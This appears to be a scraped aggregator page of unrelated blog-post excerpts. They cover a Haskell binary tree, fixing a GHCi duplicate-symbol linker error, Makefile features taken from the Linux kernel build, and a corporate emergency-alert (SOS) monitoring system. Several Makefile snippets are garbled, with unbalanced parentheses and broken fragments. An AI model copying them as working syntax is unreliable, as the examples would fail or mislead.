tree with New function and pass our compare function to it. And tries to insert some integer numbers to binary tree. It works perfectly, because current binary tree already knows how to compare nodes with lessFun. Full source code of binary tree you can find - here. Source
  22. Today I started to play with attoparsec package and tried to write simple parser. I wrote really toy data type like this: module SimpleParser where import qualified Data.ByteString.Char8 as BS import Data.Attoparsec.ByteString data Str = End deriving (Show, Eq) I tried to type: *SimpleParser> End in ghci and will get End as I expected. Instead End I got following error: GHCi runtime linker: fatal error: I found a duplicate definition for symbol _hs_bytestring_long_long_uint_hex whilst processing object file /home/alex/.cabal/lib/x86_64-linux-ghc-7.6.3/bytestring-0.10.4.0/HSbytestring-0.10.4.0.o This could be caused by: * Loading two different object files which export the same symbol * Specifying the same object file twice on the GHCi command line * An incorrect `package.conf' entry, causing some object to be loaded twice. GHCi cannot safely continue in this situation. Exiting now. Sorry. As we can see in error output GHCi runtime linker found duplicate definition of _hs_bytestring_long_long_uint_hex. Let's see what's wrong bytestring package with: cabal info bytestring It will give us output like this: * bytestring (library) Synopsis: Fast, compact, strict and lazy byte strings with a list interface Versions available: 0.9.0.4, 0.9.1.9, 0.9.1.10, 0.9.2.0, 0.9.2.1, 0.10.0.1, 0.10.0.2, 0.10.2.0, 0.10.4.0 (and 14 others) Versions installed: 0.10.4.0, 0.10.2.0 Homepage: https://github.com/haskell/bytestring Bug reports: https://github.com/haskell/bytestring/issues Description: An efficient compact, immutable byte string type (both strict and lazy) suitable for binary or 8-bit character data. .............................................. .............................................. .............................................. We can note that there two installed versions of bytestring package. Let's remove old version with: sudo ghc-pkg unregister --force bytestring-0.10.0.2 That's all. After this error with GHCi runtime linker found a duplicate definition error...... will disappear. Source
  23. I'm not superuser of make, but sometime i use it. My knowledge about the files usually end in the next things: I know that if I'll create Makefile file, write some simple rules which are in general form: target: command And than execute make target, it executes command. Last time ago i started to learn some low-level stuffs as assembly programming, operating system theory and practice (as you can read and understand from previous blog posts about assembly programming). Some days ago i started to read Linux kernel Makefile and here i want to share some make syntax features which i learned from there. So this post is not for people who used make much time and knows much about it. origin origin - is a builtin function which returns information about variable. It's general form is: $(origin var) You can pass any $(variable) to it and it will return info about it. Return value of origin can be: undefined - variable didn't defined default - default var, like $(CC) and etc... environemnt - from environment environment override - return environemnt which was overridden with make -e file - from makefile command line - from make command line arguments automatic - see bellow So we can use it like this: all: ifeq ("$(origin A)", "command line") ALL = $(A) endif @ Usually makefile prints every action after executing it, but sometimes we no need in it. We can use @ prefix for it, for example: [CODE @Echo "Done." line, but just prints Done. filter filter function removes all space separated words from text, which doesn't match no one template. General view of it: '$(filter template..., text)' For example, we have targets list and we need to check is there build target there or not: targets := all clean findTargets: $(targets) ifeq $($(filter build, $(targets),) Check empty value We can check empty value with following: ifeq ($(VAR_CAN_BE_EMPTY)),) Current directory Previously when i was need to get current directory path, i used something like this: curr = $(shell pwd) Now i know about builtin variable: $(CURDIR) Errors, Warning and Info There are 3 builtin functions for printing errors, warning and info: ifeq $($(USE_VAR1),) $(USER_VAR1 must be not empty) ifeq $($(USE_VAR2), 1) $(USE_VAR2 1) ifneq $($(USE_VAR3),) $(info $(USE_VAR1) is not empty) VPATH VPATH variable defines list of directories where template rules will search dependencies: VPATH = src %.o: %.c gcc -c $< Automatic variables There are some special macros: $| - Names of all the order-only prerequisites, with spaces between them $@ - Filename of the target of the rule $? - Names of all the prerequisites that are newer than the target $< - Name of the first prerequisite Source
  24. Amnpardaz Sandbox - file Analyzer Source
  25. Natural disasters are unexpected events that can cause severe financial and environmental loss as well as the loss of human life. As an enterprise, it is our responsibility to ensure that proper recovery strategies are in place, just in case these natural calamities occur. In order to tackle these types of incidents, a Save Our Souls (SOS) system can be implemented. It provides a set of protocols to be followed in case an unexpected disaster befalls our company. An SOS system can be implemented to take responsibility of offices, regional headquarters, data centers, and employees. The SOS should be capable of fetching live video feed messages from multiple sources like news channels, podcasts, etc. Employers are found liable if they disobey safety regulations and put their employees under severe risk, which impacts business. Irrespective of companies’ diverse sizes, emergency communication is vital for business efficiency. An SOS analyst has to monitor the outside physical threat proactively and predict the possibility of occurrence of a similar threat within the organisation. In some companies, SOS analysts work with a business continuity team to ensure continuity of the company’s resources. This technology can be advanced by incorporating a real-time feed of news, weather, traffic data, company’s facility data, camera feeds, incident reports, and physical security systems. All well-known organisations have a separate team to monitor security at various company facilities and follow global news and weather reports to spot events that could endanger company assets. This type of system can be used to consolidate internal and external security, decrease the operational cost, and improve the company’s ability to protect its assets. For instance, companies which are present globally have a mobility team that is responsible for identifying physical threats when an employee is relocating to a particular region. Companies have to consider these threats when critical resources are sent for work in these regions, so an SOS has to manage the health and safety of all international workers working in a foreign land. Operation The security analyst monitors real time news feeds, weather reports and global security incidents from available outside feeds. After identifying a potential threat, they can carry out a deep analysis to confirm the status and severity of that incident. These data can be collectively used to generate an alert when a threat activity occurs on a particular geo-location. Say there is a tornado in Asia, then an alarm will be sent to all employees of the Asian region to prepare for precaution mechanisms. All of that company’s physical and logical asset owners in that geo-location will also be warned regarding the incident in the case of a natural disaster or other potential threat. The personnel alert can be delivered to the assets by using business or personal email. Moreover, the personal phone number of the individual employees can be used to alert in case of severe incidents. A displaying portal can be modelled which depicts the sources of risk, weather, natural disaster, breaking news, traffic data, terrorism, disease outbreaks, etc. Analytics can also be applied to these available data for predicting threats to a region. An SOS system can be connected to a company’s physical security system and internal data stores. If an alarm is raised, which points out an incident, then the analyst should find out the risk involved in that area. So analysts will be able to correlate such threats with the status of door locks, alarms, and camera feeds and to prepare for an effective communication plan. The communication plan has to be tested regularly to ensure it’s working in difficult times. It depends upon the different communication channels (email, website announcement, etc.) that a company uses to determine how long it takes to activate an emergency communication plan. The ideal time of communication is less than an hour, and it is not good for an organisation to not activate a communication plan in the last 12 months. Architecture The most common SOS architecture consists of 3 core components: Alert Assess Act An SOS system will be provided with data including natural disasters, weather, terrorism, disease out breaks, etc., and from this data an alert can be triggered. This SOS system is input with both local and global incidents. The alerts can be configured in a way such that it will be triggered automatically when an incident occurs, and this alert will notify the corresponding team to take action. In assessment phase, the threat data is analysed frequently in order to eliminate false positives and thus to find meaningful data. The assessment can be carried out by filtering the incident data which points to our particular area of interest, timestamp of the incident, severity, etc. Other factors like historical occurrences, probability of occurrence, property impact, business impact, and human impact are also considered. In this phase, the data should be assessed and transformed into meaningful information by carrying out ad hoc search, range filtering, and spatial queries, and this enables us to query the data easily from a single interface. Thus, it enables the analyst to drill down the data according to its severity, or can apply any customized filter that makes the data into an understandable one. During the action phase, the finalized incident data is shared with victims. After the act and assess phase, the conclusion is drawn about whether the incident is critical and whether it affects our assets or not. This can be shared to victims by communication through emails, IM, or personal or office phone number. In this phase, the situation is actively monitored by focusing on it and informing higher management about that incident. Executing the communication phase is a challenging task. If an employee is out of the home base and is in a high risk country without any communication channels, emergency communication plans and procedures need to be optimised to reach such people. Usually emails, social media, website announcements, crisis telephone numbers, and manual call trees are relied on. (A call tree is where an initiator calls two or three people and they in turn call another three people, and this goes on like a loop till we cover the entire region. However, there could be circumstances in which an employee is on vacation or the cell phone is out of range, then the channels for propagating the messages are broken down). SOS Monitoring These are some of the events that an SOS system is really beneficial for. Natural Disasters An SOS system can be used to identify and monitor current location and the impact zone of natural disasters including earthquakes, floods, hurricanes, volcano explosions, etc. Weather ConditionsBad weather conditions can result in the closing of the business unit for a time period. It can also cause a negative business impact by not reporting in a timely manner. The SOS system can be used to alert in a proactive manner against this type of incident. Terrorism The news feeds can be leveraged and conclusions can be drawn regarding global terrorist events and other activities related to that. Current Events International and local news feeds can be leveraged to draw a conclusion on the current events that are occurring across the globe. Disease Outbreaks An SOS can be used to monitor the risk faced by travellers by collecting information about disease outbreaks in a specific location which may affect employees. Traffic conditions Traffic conditions across the office premises and locations to the assets can be monitored. A real time map can created by analysing the traffic data that can be used to choose a better route for employees. Advantages Effective response to security incidents By building an SOS system in an organization, security teams can act effectively in security incidents. This system empowers the incident handling team to perform in a proactive manner and quickly respond to hazards and other incidents. Increase in operational performance An SOS system can increase the efficiency of Security Operation Center by building a centralized sight of incidents and security means. It can also leverage the operation for multiple systems, security operators, and local conditions. Safeguarding the assets and business Implementing an SOS system enables the protection of all the assets and business against the protection of losses and liabilities. This system facilitates the organization’s internal controls and external regulation. Disadvantages of SOS However, after considering the high number of advantages of the SOS system, these are the disadvantages that can affect the system. Real time location awareness In order to alert the assets of an incident, it is important to know the real-time location of employees. This will be a crucial task if the asset is in an isolated location or situation where the location details can’t be transmitted to an SOS central management system. Data sharing between different organizations The SOS system will be successful only in the case of meaningful data being shared between organizations. If there is any delay in the data, then an effective response plan can’t be formulated within a short period of time. Legal problems There will be legal problems in the usage of meteorological and traffic data, and there are many complications in sharing of this data from such government organizations. When these data fall into the hands of the wrong person, it can endanger the rest of the public. Large Data Traffic The meteorological and traffic data pose a large quantity of data, and this data should be filtered and stored. In the case of an incident, the historical data should be analysed, which becomes complicated with high traffic. Others Poor implementation, lack of understanding from recipients, device failure, unavailability of mobile network, problems communicating internationally, language barrier, lack of good process manual, etc. References Risk Awareness and Response | Visual Command Center http://www.idvsolutions.com/Documents/Visual-Command-Center.pdf http://www.cisco.com/c/en/us/products/collateral/physical-security/physical-security-operations-manager/data_sheet_c78-714743.pdf Source
×
×
  • Create New...